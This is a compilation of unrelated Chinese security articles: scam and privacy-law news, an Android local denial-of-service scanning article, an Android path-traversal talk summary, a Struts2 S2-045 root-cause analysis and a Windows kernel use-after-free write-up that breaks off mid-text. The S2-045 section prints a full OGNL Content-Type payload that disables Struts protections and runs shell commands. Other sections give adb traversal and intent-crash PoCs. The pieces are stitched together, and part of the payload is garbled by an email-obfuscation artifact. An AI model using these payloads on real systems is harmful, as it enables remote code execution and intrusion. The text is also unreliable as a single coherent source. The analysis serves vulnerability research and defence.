疫情防控特殊时期，政府相关部门出于防疫需要，有时会要求相关人员登记个人信息，并进行必要的信息发布。然而，却有不法分子趁虚而入实施诈骗！
**警惕流调短信链接诈骗**
近日，邱先生收到了一条短信，要求他必须在3小时内到XX地点验核酸，否则将要承担一定的法律责任。短信中还附有一条链接，要求邱先生按提示输入
**个人身份证、银行卡号码、密码** 等重要信息。
**如何甄别“流调”电话、短信？**
接到“流调电话”怎么办？收到“流调短信”怎么办？请记住，以下情况均有巨大风险，要提高警惕！
1、要求获取流调对象的短信验证码；
2、发送不明链接让流调对象点击；
3、推销产品或要求流调对象付费；
4、让流调对象转账和进行所谓的“资金核查”。
涉疫诈骗花样多
提高警惕是关键
请始终牢记
不听不信不转账
## 行业动态
### **定了！个人信息保护法出炉** **11月1日起施行**
十三届全国人大常委会第三十次会议20日表决通过《中华人民共和国个人信息保护法》。个人信息保护法自2021年11月1日起施行。其中明确：
1、明确个人信息的概念和处理规则
2、禁止商家通过自动化决策“大数据杀熟”；通过自动化决策方式向个人进行信息推送、商业营销，应提供不针对其个人特征的选项或提供便捷的拒绝方式
3、处理生物识别、医疗健康、金融账户、行踪轨迹等敏感个人信息，应取得个人的单独同意
4、对违法处理个人信息的应用程序，责令暂停或者终止提供服务
5、对处理人脸信息等敏感个人信息进行规制
6、强调不得过度收集个人信息
7、对公共场所安装图像采集、个人身份识别设备作出规范
8、大型互联网平台应建立健全个人信息保护合规制度体系
## 国际前沿
### **雷蛇被曝0day** **你的鼠标和键盘可能成为黑客工具**
一个Razer Synapse的0day漏洞在Twitter上被披露，该漏洞允许攻击者仅仅通过插入Razer鼠标或键盘就能获得Windows的系统权限。
当把Razer设备插入Windows 10/11时，操作系统将自动下载并开始在电脑上安装Razer Synapse软件。Razer
Synapse是一种允许用户配置他们的硬件设备、设置宏，或映射按钮的软件。并且，Razer声称在全球有 **超过1亿** 的用户使用该软件。
Razer Synapse的安装提示
然而，安全研究员jonhat在该软件的安装中发现了一个0day漏洞。该漏洞是一个本地权限升级（LPE）的漏洞，这意味着攻击者需要有一个Razer设备，以及对电脑的物理访问。但这同样表示该漏洞很容易被利用，
**攻击者只需花20美元购买一个Razer鼠标，并将其插入Windows 10就可以成为获取系统权限。**
系统权限是Windows中的最高用户权限，允许在操作系统上执行任何命令。从理论上说，如果一个用户在Windows中获得了系统权限，他就可以完全控制系统，安装任何他们想要的东西，包括恶意软件。 | 社区文章 |
### 作者：伊樵@阿里聚安全
阿里聚安全的Android应用漏洞扫描器有一个检测项是本地拒绝服务漏洞的检测，采用的是静态分析加动态模糊测试的方法来检测，检测结果准确全面。本文将讲一下应用漏洞扫描器在针对本地拒绝服务的检测方法。
一、本地拒绝服务产生原因和影响
Android应用使用Intent机制在组件之间传递数据，如果应用在使用getIntent()，getAction()，Intent.getXXXExtra()获取到空数据、异常或者畸形数据时没有进行异常捕获，应用就会发生Crash，应用不可使用（本地拒绝服务）。恶意应用可通过向受害者应用发送此类空数据、异常或者畸形数据从而使应用产生本地拒绝服务。
阿里聚安全的博客以前有一篇文章《Android应用本地拒绝服务漏洞浅析》 ，里面详细讲了产生本地拒绝服务的四种情况：
1、NullPointerException空数据异常：应用程序没有对getAction()等获取到的数据进行空指针判断，从而导致空指针异常而导致应用崩溃。
2、ClassCastException类型转换异常：程序没有对getSerializableExtra()等获取到的数据进行类型判断而进行强制类型转换，从而导致类型转换异常而导致应用崩溃。
3、IndexOutOfBoundsException数组越界异常：程序没有对getIntegerArrayListExtra()等获取到的数据数组元素大小的判断，从而导致数组访问越界而导致应用崩溃。
4、ClassNotFoundException异常：程序没有无法找到从getSerializableExtra
()获取到的序列化类对象的类定义，因此发生类未定义的异常而导致应用崩溃。
当应用被恶意应用攻击时，本地拒绝服务一般会导致正在运行的应用崩溃，首先影响用户体验，其次影响到后台的Crash统计数据，另外比较严重的后果是应用如果是系统级的软件，可能导致手机重启。Nexus
5曾经出现过这样的情况，它预装了一个用来测试网络连通性的系统应用，这个应用是隐藏状态，无法在桌面上打开，包名为com.lge.SprintHiddenMenu。在Android
4.4.3之前的版本里，这个应用里有大量导出的activity，这些
activity不需要任何权限就可以被外部调用。其中一个为com.lge.SprintHiddenMenu.sprintspec.SCRTN的组件是导出的，并且没有任何权限限制，给它发送一个空Intent，可导致Nexus
5手机重启。
二、阿里聚安全扫描器的进化提升
一个简单的本地拒绝服务类漏洞，要想进行大规模的自动化扫描，扫描器也要做不少的工作，并且随着对本地拒绝服务漏洞的认识，阿里聚安全的漏洞扫描器也在不断进行优化提高。
2.1 空Intent阶段
这个阶段的扫描器是初级阶段，一般只是通过AndroidManifest.xml文件获取应用导出的组件，然后使用adb命令发送空intent给导出组件，捕获应用日志输出，查看是否有崩溃产生。
针对空Intent导致的本地拒绝服务情况可发送如下命令测试：
adb shell am start -n com.jaq.dosappsample/.DosActivity
adb shell am startservice -n com.jaq.dosappsample/.DosService
adb shell am broadcast -n com.jaq.dosappsample/.DosReceiver
何为导出的组件？
在AndroidManifest.xml文件中如果应用的组件android:exported
属性显式指定为“true”，或者并没有显式指定为“true”也没有显式指定为“false”，什么也没有写，但是有intent-filter并指定了相应的Action，则此组件为导出的组件。
2.2 解析Key值阶段
空Intent导致的拒绝服务毕竟只是一部分，还有类型转换异常、数组越界异常等导致的本地拒绝服务。在解析Key值阶段扫描器需要分析组件代码中是否使用了一些关键函数。
在Activity组件中的onCreate()方法中，Service组件中的onBind()和onStartCommand()方法中，BroadcastReceiver组件的onReceive()方法中，如果组件没有做好权限控制，都可接受任意外部应用传过来的Intent，通过查找getIntent()、getAction()和getXXExtra()这些关键函数，检测其是否有try
catch异常保护，如果没有则会有本地拒绝服务风险。
在这一阶段扫描器遇到的挑战是找到这些关键函数中的Key值，Action值，不仅要找到，还要找到key对应的类型，来组装adb命令，发送命令给安装好的应用进行测试。
2.3 通用型拒绝服务阶段
2015年年初的时候，业界又爆出了通用型拒绝服务，由于应用中使用了getSerializableExtra()
的API，应用开发者没有对传入的数据做异常判断，恶意应用可以通过传入序列化数据，导致应用本地拒绝服务。此种方法传入的key值不管是否与漏洞应用相同，都会抛出类未定义的异常，相比解析Key值阶段通用性大大得到了提高。
针对这个常用的手工检测POC代码如下：
此阶段扫描器遇到的难题是无法直接通过adb命令进行测试，因为无法用adb命令传递序列化对象给应用。业界大部分漏洞扫描器也因为无法发送序列化对象给应用都止步解析Key值组装adb命令阶段，而阿里聚安全的漏洞扫描器能够发送序列化对象数据给指定的应用，再结合静态分析查找导出的组件和关键函数，动态运行应用，精确识别出会发生本地拒绝服务的应用组件，同时实现了大规模自动化测试。
2.4 动态注册BroadcastReceiver阶段
BroadcastReceiver组件一般分为两种，一种是静态注册，提前在AndroidManifest.xml声明组件；另外一种是动态注册，在代码中使用registerReceiver()方法注册BroadcastReceiver，只有当registerReceiver()的代码执行到了才进行注册。
动态注册BroadcastReceiver的常见使用方法如下：
很多开发者没有意识到，如上使用registerReceiver()方法注册的是全局BroadcastReceiver，和静态注册BroadcastReceiver
android:exported属性为true性质一样，如果没有指定权限访问控制（permission参数），可以被任意外部应用访问，向其传递Intent，根据具体情况产生的危害可能不同，一种比较普遍的情况是容易产生本地拒绝服务漏洞。
动态注册BroadcastReceiver导致导出的Receiver这种情况非常少被大家注意，现有的一些安全检测工具、扫描器都不能发现动态注册的BroadcastReceiver。在此阶段，动态注册BroadcastReceiver隐藏在所有代码中，在应用的任何地方都可能出现，需要扫描器全局分析应用的代码找出关键函数registerReceiver，还要找出其IntentFilter所设置的Action和Receiver的权限设置，现在一般一个普通的正常Android应用都有几十M的大小，反编译成smali代码会更多，扫描器遇到的挑战主要是查找的时间和空间挑战，还有多个参数查找的准确性。目前业界只有阿里聚安全的扫描器有准确扫描动态注册BroadcastReceiver导致的本地拒绝服务的能力。
通过阿里聚安全的漏洞扫描器对一些样本进行了检测，也发现了不少动态注册BroadcastReceiver导致的本地拒绝服务攻击。
三、本地拒绝服务漏洞现状
为了了解本地拒绝服务漏洞的现状，阿里聚安全的应用漏洞扫描器针对国内外的各行业主要APP进行了扫描，共扫描了三百多款APP。
国内行业主要是通过采集国内某应用市场的APP，我们采集了各个行业的TOP
APP总共有151个，发现拒绝服务漏洞的总个数为970个，平均个数为6.4个，其中影音播放类的APP本地拒绝服务个数最多，健康类安全类和运营商类比较少、游戏类的最少。
国内行业APP本地拒绝服务漏洞情况：
柱状图是国内各个行业APP按本地拒绝服务漏洞平均个数排序：
下图是各个组件引起的本地拒绝服务的数量、占比情况：
国内行业动态注册BroadcastReceiver导致的本地拒绝服务漏洞有247个，约占拒绝服务漏洞总数的25%，比静态注册BroadcastReceiver的要多不少：
国外行业主要是通过采集Google Play上的APP，我们也采集了各个行业的TOP
APP总共有177个，发现拒绝服务漏洞的总个数是649个，平均漏洞个数为3.7个，平均漏洞个数最多的是办公类应用，最少的和国内行业一样是游戏。
国外行业APP本地拒绝服务漏洞情况：
国外各个行业的应用本地拒绝服务漏洞平均个数排序：
各个组件引起的本地拒绝服务的数量、占比情况：
国外行业动态注册BroadcastReceiver导致的本地拒绝服务漏洞有147个，约占拒绝服务漏洞总数的23%，比国内的情况略少，可见动态注册BroadcastReceiver导致的本地拒绝服务都没有引起大家的重视。
总体上来看，本地拒绝服务风险因为具有Android版本无关性，漏洞本身对APP影响也不大，只与应用开发者是否注意、重视有关，所以现在还经常在应用中出现。在各大厂商的安全应急响应中心评级为低危漏洞，也有厂商不收此类漏洞，但是这些攻击面依然存在，如果深入分析这些组件，有的不仅仅是引发本地拒绝服务风险，必须遵循最小权限原则，没有必要导出的组件不要导出。
四、阿里聚安全对开发者建议
（1）阿里聚安全的漏洞扫描器已经具备覆盖动态注册Receiver产生的拒绝服务漏洞（目前，还没发现友商的漏洞扫描器有这样的能力），使用阿里聚安全的漏洞扫描器进行扫描，可及时发现这些漏洞。
（2）不必要导出的组件将其exported属性显式的设为“false”，这样可以减少应用的攻击面。
（3）导出的组件在getIntent()后，Intent.getXXXExtra()时用try…catch做好异常处理。
（4）在导出的组件设置好权限控制，不让任意第三方应用访问。
（5）对于动态注册的BroadcastReceiver，尽量少用registerReceiver()方法，如果只在本应用内通信，改用LocalBroadcastManager的registerReceiver()进行本地注册，如果必须导出给外部应用，在使用registerReceiver()时要指定好相应的访问权限。
五、参考
1、Android APP通用型拒绝服务漏洞分析报告，<http://blogs.360.cn/blog/android-app%E9%80%9A%E7%94%A8%E5%9E%8B%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A/>
2、Android应用本地拒绝服务漏洞浅析，<https://jaq.alibaba.com/blog.htm?id=55>
3、<https://developer.android.com/guide/components/activities.html>
4、<https://developer.android.com/guide/components/services.html>
5、<https://developer.android.com/reference/android/content/Context.html>
6、<https://labs.mwrinfosecurity.com/advisories/2014/11/05/nexus-5-4-4-2-local-dos/>
作者：伊樵@阿里聚安全，更多Android、iOS安全文章,请访问阿里聚安全官网 | 社区文章 |
# DEFCON CHINA议题解读 | 通用安卓平台路径穿越漏洞的挖掘与利用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**sd[@dmzlab](https://github.com/dmzlab "@dmzlab")**
## 简介
在本次的defcon China上，来自于360
Alpha团队的向小波与杨文林的“几种通用的安卓平台路径穿越漏洞的挖掘与利用姿势”议题介绍相关Android通用的几种路径穿越漏洞。路径穿越漏洞轻则文件写入，文件下载等。重则造成替换关键文件造成远程命令执行等操作议题中有。
## Content Provider文件目录遍历漏洞
首先了解一下ContentProvider组件是Android四大组件之一，其核心功能是提供应用件的统一数据访问方式类似于C/S架构。其中ContentProvider提供了直接操作文件的方法这里只需重写ContentProvider中的openFile()方法即可操作文件，如果对文件路径没有进行限制就会造成路径穿越漏洞。
需要在Androidmanifest.xml中声明provider标签为 **true** 。
<provider
android:name=".SampleContentProvider"
android:authorities="mydownloadcontentprovider"
android:exported="true" />
其中authority是用于通过ContentProvider访问数据的URI权限，并且将导出为true的设置允许其他应用程序使用该内容提供者。
public class SampleContentProvider extends ContentProvider {
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
File file = new File(Environment.getExternalStorageDirectory() +"Download/",uri.getPath());
return ParcelFileDescriptor.open(file , ParcelFileDescriptor.READ_ONLY_MODE);
}
}
当使用adb发送如下命令就会造成Poc：`adb shell content open
content://mydownloadcontentprovider/..%2f..%2f..%2f..%2f..%2fsdcard%2freadme.txt`
## 即时通讯应用程序中的目录遍历
在一些IM中都提供一些像好友发送文件的功能，但如果处理不当就会造成目录遍历。这里以CVE-2018-10067
为例通过HOOK框架修改文件为畸形文件就会只要对方点击下载即可生成到对应文件夹。
如图所示：
还有中转式IRC网络聊天工具IRCCloud，攻击者可以强制IRC Cloud应用程序将任意文件复制到任意目录。
**主要代码如下：**
protected void onResume() {
//...
if (getSharedPreferences("prefs", 0).getString("session_key", "").length() > 0) {
//...
this.mUri = (Uri) getIntent().getParcelableExtra("android.intent.extra.STREAM"); // getting attacker provided uri
if (this.mUri != null) {
this.mUri = MainActivity.makeTempCopy(this.mUri, this); // copying file from this uri to /data/data/com.irccloud.android/cache/
}
public static Uri makeTempCopy(Uri fileUri, Context context, String original_filename) { // original_filename = mUri.getLastPathSegment() //...
try {
Uri out = Uri.fromFile(new File(context.getCacheDir(), original_filename)); Log.d("IRCCloud", "Copying file to " + out);
InputStream is = IRCCloudApplication.getInstance().getApplicationContext().getContentResolver().openInputStream(fileUri);
OutputStream os = IRCCloudApplication.getInstance().getApplicationContext().getContentResolver().openOutputStream(out);
byte[] buffer = new byte[8192];
while (true) {
int len = is.read(buffer);
if (len != -1) {
os.write(buffer, 0, len);
//...
通过`intent.putExtra("android.intent.extra.STREAM", uri);`调用
`IRCCloudApplication.getInstance().getApplicationContext().getContentResolver().openInputStream(fileUri);`会通过
**openInputStream(…)** 方法自动解码指定的uri。所以会访问我的符号链接文件。
这里值得注意的是，
**这个漏洞也允许覆盖任意文件。因此，攻击者也可以替换您的受保护文件并替代相关的历史记录。**
## 在android邮箱应用中存在目录遍历漏洞
在Android一些邮件应用中附件下载中存在目录遍历问题。如果对应用程序中的附件文件名没有路径清理，就会造成相关的目录遍历。
如图Filename1是Gmail，Filename2是outlook。
相关exp地址：
Gmail：<https://www.exploit-db.com/exploits/43189/>
Outlook:<https://www.exploit-db.com/exploits/43353/>
## Web浏览器文件中的ZIP解压缩
这里作者以CVE-2018-8084
搜狗浏览器目录遍历为例介绍如果浏览器解压下载文件时如果文件使用恶意文件名，就会存在解压时生成对于畸形文件，并且拥有重写文件的权限，如果直接在libvplayer.so文件中写入shell，就会造成远程代码执行效果。
如图：
## 应用热更新中造成文件目录遍历
以QQEmail的CVE-2018-5722 为例在attachPatchDex(…)方法中使用`new
File(arg8,"dex").listFiles(new DexFiler())`会查找所有的dex文件进行加载。
##
## 通过修改smali造成文件目录遍历
在一些应用中一些方法中使用固定路径，对于这类应用可以进行修改 **smali** 文件进行目录遍历攻击。
## 修复方案
1. 用哈希重命名或关联下载的文件
2. 规范用户可控制文件名
3. 避免读取SD卡上的重要文件
4. 检查重要文件的完整性
## 引用
<https://hackerone.com/reports/288955> | 社区文章 |
**作者：lucifaer
作者博客：<https://www.lucifaer.com/>**
S2-045，一个很经典的漏洞，和网上已经有的分析不同，我将整个漏洞的触发点和流程全都理了一遍，感觉收获良多，算是能自己说服自己的分析了。
### 0x00 漏洞描述
> Problem It is possible to perform a RCE attack with a malicious Content-Type
> value. If the Content-Type value isn’t valid an exception is thrown which is
> then used to display an error message to a user.
从漏洞简述中可以得知是struts在处理`Content-Type`时如果获得未期预的值的话，将会爆出一个异常，在此异常的处理中可能会造成RCE。同时在漏洞的描述中可以得知Struts2在使用基于`Jakarta
Multipart`解析器来处理文件上传时，可能会造成RCE。
`Jakarta
Multipart`解析器在Struts2中存在于`org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest`是默认组件之一，首先把这一点记录下来。
接下来看一下diff：
可以看到关键点在于首先判断`validation`是否为空，若为空的话则跳过处理。可见关键点在于对于`validation`的处理。
### 0x01 整体触发流程
MultiPartRequestWrapper$MultiPartRequestWrapper:86 # 处理requests请求
JakartaMultiPartRequest$parse:67 # 处理上传请求，捕捉上传异常
JakartaMultiPartRequest$processUpload:91 # 解析请求
JakartaMultiPartRequest$parseRequest:147 # 创建请求报文解析器，解析上传请求
JakartaMultiPartRequest$createRequestContext # 实例化报文解析器
FileUploadBase$parseRequest:334 # 处理符合multipart/form-data的流数据
FileUploadBase$FileItemIteratorImpl:945 # 抛出ContentType错误的异常，并把错误的ContentType添加到报错信息中
JakartaMultiPartRequest$parse:68 # 处理文件上传异常
AbstractMultiPartRequest$buildErrorMessage:102 # 构建错误信息
LocalizedMessage$LocalizedMessage:35 # 构造函数赋值
FileUploadInterceptor$intercept:264 # 进入文件上传处理流程，处理文件上传报错信息
LocalizedTextUtil$findText:391 # 查找本地化文本消息
LocalizedTextUtil$findText:573 # 获取默认消息
# 以下为ognl表达式的提取与执行过程
LocalizedTextUtil$getDefaultMessage:729
TextParseUtil$translateVariables:44
TextParseUtil$translateVariables:122
TextParseUtil$translateVariables:166
TextParser$evaluate:11
OgnlTextParser$evaluate:10
### 0x02 漏洞分析
#### 2.1 漏洞触发点
根据diff所得结果，跟进`validation`的执行流程，就如漏洞描述中所述，`validation`的调用位于Struts2的`FileUploadInterceptor`也就是处理文件上传的拦截器中。
跟进`LocalizedTextUtil.findText`：
这边先不着急向下跟，首先看一下`valueStack`的内容是什么：
通过键值关系从`ActionContext`中返回ognl的堆栈结构，也就是说`valueStack`和ognl的执行相关。
接下来跟进`findText`方法，着重跟一下`valueStack`，可以发现主要是以下方法调用到该值：
findMessage()
getMessage()
getDefaultMessage()
ReflectionProviderFactory.getInstance().getRealTarget()
先不管`ReflectionProviderFactory.getInstance().getRealTarget()`，`findMessage()`在执行过程中都会调用到`getMessage()`，而在`getMessage()`和`getDefaultMessage()`中都存在`buildMessageFormat()`方法，该方法用于消息的格式化，而格式化的消息是由`TextParseUtil.translateVariables()`来生成的：
这里注意`getMessage()`方法需要设置`bundleName`这个参数，而这个参数是由`aClass`赋值的，而在整个触发流程中`aClass`是一个`File`异常类，而这个类在`Collections.java`中是找不到的，所以在执行过程中，所有的`getMessage()`和`findMessage()`都是返回`null`的，也就是说，在整个流程中，只有`getDefaultMessage()`会被触发。
跟一下这个`TextParseUtil.translateVariables()`的具体实现：
可以看到首先对`defaultMessage`进行ognl表达式的提取，之后执行ognl表达式。所以漏洞的触发点就找到了。且触发的关键是构造一个含有ognl表达式的`defaultMessage`即：
#### 2.2 触发流程
网上很多文章并没有说该漏洞的触发流程是什么样的，只是在上面的关键点下了一个断向下调试，所以只是完成了对这个流程的调试而已，并没有完整的把这个漏洞说清楚的原因（浮躁的圈子=
=）。
我记录一下我 **根据单元测试** 而找到触发流程的过程。
根据2.1的分析，我们现在知道只要调用了`org.apache.struts2.interceptor.FileUploadInterceptor$intercept`且`request`触发错误处理流程，且`validation`不为空就可以触发ognl表达式的执行。所以首先我开始寻找哪里调用了`intercept()`这个方法：
如上图红框的内容，我找到了针对于`FileUploadInterceptor`的单元测试，在单元测试中详尽的描述了`intercept()`的处理流程，跟进看一下我找到了一个有趣的单元测试`testInvalidContentTypeMultipartRequest()`：
还记得我们的`intercept`的处理流程么：
也就是说我们需要关心的只有 **MyFileupAction()与request的处理流程** 。
首先来看一下`MyFileupAction()`是否是`ValidationAware`接口的一个实例：
ok，是`ValidationAware`一个实现，`getAction()`方法将`setAction()`设置的对象返回。接下来我们跟一下`req`的处理流程：
-> createMultipartRequest(req, 2000)
-> new MultiPartRequestWrapper(jak, req, tempDir.getAbsolutePath(), new DefaultLocaleProvider())
-> this(multiPartRequest, request, saveDir, provider, false);
关键点在于`multi.parse(request,
saveDir);`根据调用栈，可以看到这里是调用了`JakartaMultiPartRequest`实例的`parse()`方法：
这里注意会捕获`FileUploadException`异常。
接着跟进`processUpload()`方法：
继续跟进：
首先看`createRequestContext()`对于请求做了哪些处理：
返回了一个实例化的`RequestContext()`，记住该实例有四个内置的方法：
* getCharacterEncoding()
* getContentType()
* getContentLength()
* getInputStream()
接着跟进`parseRequest()`：
跟进`getItemIterator()`：
继续跟进：
这一段代码首先调用了`RequestContext`实例的`getContentType()`方法，该方法就像上面调用栈中所看到的一样，会返回请求的`ContentType`字段，然后做一个存在性校验，校验`ContentType`是否为空或并非以`multipart`开头，如果上述条件成立，则抛出一个错误，并把错误的`ContentType`加入到报错信息中。这里的`InvalidContentTypeException`类是继承于`FileUploadException`的，也就是说会抛出一个`FileUploadException`的错误。
反过来看`JakartaMultiPartRequest`的异常捕获逻辑：
很有意思，我们直接跟进`buildErrorMessage`看一下：
可以看到在这里，我们将包含着我们可以自定义的`ContentType`赋值给`defaultMessage`回看2.1所说的漏洞触发点，这里就是我们发送请求将ognl传递到漏洞触发点的`defaultMessage`：
拆分消息中的ognl表达式，并执行：
### 0x03 构造POC
根据上面的分析，我们可以看到构造POC的关键是在发送的请求中构造一个含有ongl表达式的`ContentType`。较为通用的一个poc如下：
"%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='open /Applications/Calculator.app').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
效果如下：
### 0x04 Reference
* <https://cwiki.apache.org/confluence/display/WW/S2-045>
* <https://www.easyaq.com/news/250515148.shtml>
* * * | 社区文章 |
# Windows 内核漏洞利用之UAF：CVE-2015-0057
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Introduction
这次是内核中一个 uaf 漏洞的学习，刚好看到 wjllz 师傅的在看雪上的 [windows
内核系列文章](https://bbs.pediy.com/thread-247281.htm)，就也一起分析了 cve-2015-0057 这个洞（膜一发
wjllz 师傅 tql !!!），这篇写的水平肯定也没有 wjllz
师傅的好，也不太会讲故事，权当自己学习过程的记录，希望也能够帮助到你，如有错误多谢指正。
首先这次的漏洞分析也是参考已有的分析资料来学习，已有的资料包括：
* 漏洞发现者 Udi Yavo of enSilo 的 [分析](https://blog.ensilo.com/one-bit-to-rule-them-all-bypassing-windows-10-protections-using-a-single-bit)
* Ncc group 详细利用分析的 [writeup](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2015/july/exploiting-the-win32kxxxenablewndsbarrows-use-after-free-cve-2015-0057-bug-on-both-32-bit-and-64-bit-tldr/)
* keenjoy98 老师在 blackhat 上的议题 [A New CVE-2015-0057 Exploit Technology](https://www.blackhat.com/docs/asia-16/materials/asia-16-Wang-A-New-CVE-2015-0057-Exploit-Technology-wp.pdf)
* win8.1 x64 下完整利用 [[MS15-010 / CVE-2015-0057] EXPLOITATION](http://hdwsec.fr/blog/20151217-ms15-010/)
刚开始这样做不可避免，全靠自己从分析 patch 到 poc 再到 exploit
的话水平还达不到，不过这是下一阶段的目标，我会努力往这方面靠。说完了让我们开始专注漏洞，主要涉及的知识点有：
* 用户态回调函数的使用
* 堆风水
* win8.1 堆头修复
* win8.1 smep 绕过
* 提权 shellcode
## The bug
漏洞出现在内核的 GUI 组件中，也就是 win32k.sys 模块，之前从来没有了解过 win32k 有关的用户态回调函数的利用，不过这里有篇相关的
[paper](https://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf) 可以参考，帮助我们熟悉
win32k.sys。分析资料中直接给出了漏洞所在位置，也可以自己尝试从 patch 分析一波，我尝试对比了一下 patch 版本和原版本的
win32k.sys，有几十处函数有改动，没有任何思路遂放弃。从资料中找到漏洞代码，漏洞位置在
`win32k!xxxEnableWndSBArrows`，抛去如何定位漏洞的部分（因为不会 🙁 233），让我们直接理解漏洞原理：
### **Unpatched**
以上代码是未经修补的漏洞代码，在适当的情况下 `win32k!xxxDrawScrollBar` 可以触发一个用户态调用让 `tagSBINFO`
对象指针即 `rbx`
被释放掉，而之后以上代码又使用了释放后内存中的值。简单来说就是某种情况下这个函数会触发一个函数回调，而我们可以控制这个函数回调，运行我们指定的代码。
### **Patched**
在 patched 的版本中，使用 `tagSBINFO`
指针之前设置了一道检查，这样导致用户控制的回调函数在设置检查的情况下无法被执行，用户的影响被消除了。
那么怎么控制这个回调函数？以及我们需要执行什么样的代码？这就需要完全理解了整个函数的作用以及其内部执行逻辑之后才能回答这个问题。这部分在 Ncc group
的 writeup 和 udi 的 blog 中有详细的解释，一起来看一下。
漏洞所在位置是跟窗体滚动条相关的，而每个窗体都设置了水平和垂直的滚动条 – scrollbar，参考
[ReactOS](https://doxygen.reactos.org/dd/d79/include_2ntuser_8h_source.html#l00482)
找到结构体定义：
typedef struct tagSBDATA
{
INT posMin;
INT posMax;
INT page;
INT pos;
} SBDATA, *PSBDATA;
typedef struct tagSBINFO
{
INT WSBflags;
SBDATA Horz;
SBDATA Vert;
} SBINFO, *PSBINFO;
每个 `SBDATA` 结构都定义了相关的 Scrollbar 的属性，`WSBflags` 按照设置了多少比特位来决定 scrollbar
的状态属性。而漏洞所在的函数 `win32k!xxxEnableWndSBArrows` 则是通过这些结构体所描述的信息来设置相应的滚动条属性，参考
`NtUserEnableScrollBar` 函数，它的函数定义如下：
BOOL xxxEnableWndSBArrows(HWND hWnd, UINT wSBflags, UINT wArrows);
`hWnd` 是窗体句柄，`wSBflags` 决定 scrollbar 的属性，`wArrows` 描述滚动条箭头的属性。
函数总体逻辑可以分为三部分，第一部分是分配新的 scrollbar。函数开始时会检查窗体是否包含滚动条信息，如果需要会重新分配一个 scrollbar
结构体。
相关的符号在 win7 版本中有保留，可以用 windbg 查看，从代码层面来看，函数读取 `pSBInfo` 值，也就是 `tagSBINFO`
结构，并且判断是否位空指针，如果该值为空而 `wArrows` 参数不为空，那么就会给窗体分配一个 `tagSBINFO` 结构，scrollbar
属性相关的 bit 位设置为 0。否则就沿用已有的 `tagSBINFO` 结构中 scrollbar 属性的信息。
在看这部分逆向代码的时候对寄存器所保存的参数有点疑惑，查了下发现 win
平台下函数调用[参数传递](https://docs.microsoft.com/en-us/cpp/build/parameter-passing?view=vs-2017)和之前接触的 linux 平台略有不同（如果有和我一样的困惑的同学可以查看相关链接）。
第二部分是设置滚动条的状态，相关参数值的类型的定义在 WinUser.h 中查看，以及 msdn
上的[文档](https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-enablescrollbar)，`wSBflags` 参数值类型：
#define SB_HORZ 0 设置禁用水平滚动条
#define SB_VERT 1 设置禁用垂直滚动条
#define SB_CTL 2 表示滚动条是滚动条控件 // 具体什么作用不清楚
#define SB_BOTH 3 设置同时禁用水平和垂直滚动条
参数 `wArrows` 则设置滚动条的箭头是否可用，被设置位表示不可用：
#define ESB_ENABLE_BOTH 0x0000
#define ESB_DISABLE_BOTH 0x0003
#define ESB_DISABLE_LEFT 0x0001
#define ESB_DISABLE_RIGHT 0x0002
#define ESB_DISABLE_UP 0x0001
#define ESB_DISABLE_DOWN 0x0002
#define ESB_DISABLE_LTUP ESB_DISABLE_LEFT
#define ESB_DISABLE_RTDN ESB_DISABLE_RIGHT
以下代码表示如果设置了 `SB_HORZ` 或 `SB_BOTH` 则判断 `wArrow` 是否为 `ENBLAE` 来决定启用或禁用水平滚动条。
其实漏洞就跟这部分设置有关，让滚动条可见按照一定的设置会触发 `xxxDrawScrollBar` 函数刷新滚动条，然后可能会触发用户态回调函数。
不过在讨论回调函数之前，我们先把后面的看完。和设置水平滚动条的逻辑类似，但不同的是如果 `wArrows` 设置了禁用了，并且前面触发了 uaf
的话，这里就可以对释放后的内存进行一次按位或运算，比如 `wArrows` 为 0x3，而 `tagSBINFO.wSBflags` 为
0x2，那么操作完后值就变为 0xe 了。
## Stage 1
开发漏洞利用通常需要经历好几个阶段，首先要完成的是如何触发漏洞。
我们已经知道设置怎样的参数可以触发 `xxxDrawScrollBar` 函数，要在代码上实现得在 `CreateWindow` 函数中加上
`WS_HSCROLL` 和 `WS_VSCROLL`，虽然默认窗体是可见的，不过加上 `showWindow` 以防万一，然后按照设置的参数调用
`EnableScrollBar`。
hwnd = CreateWindow(
szAppName,
TEXT("Poc"),
WS_OVERLAPPEDWINDOW | WS_HSCROLL | WS_VSCROLL,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
NULL, NULL, hInstance, NULL);
ShowWindow(hwnd, iCmdShow);
EnableScrollBar(hwnd, SB_BOTH, ESB_DISABLE_BOTH);
UpdateWindow(hwnd);
那么现在要解决的是怎样控制回调函数，有了回调函数我们可以在用户态把堆中的内存释放掉，再返回内核态的时候情况就变得和原来不一样了，不过我们得找到这个回调函数在哪。
在 Udi 的文章中给出了一张静态分析得出的调用关系图，
执行 `xxxDrawScrollBar` 函数得过程中会调用 `ClientLoadLibrary` 函数，其中又触发了
`KeUserModeCallback` 函数，我们要想办法弄清楚`KeUserModeCallback` 函数调用了什么，然后尝试劫持该调用。
从 ncc group
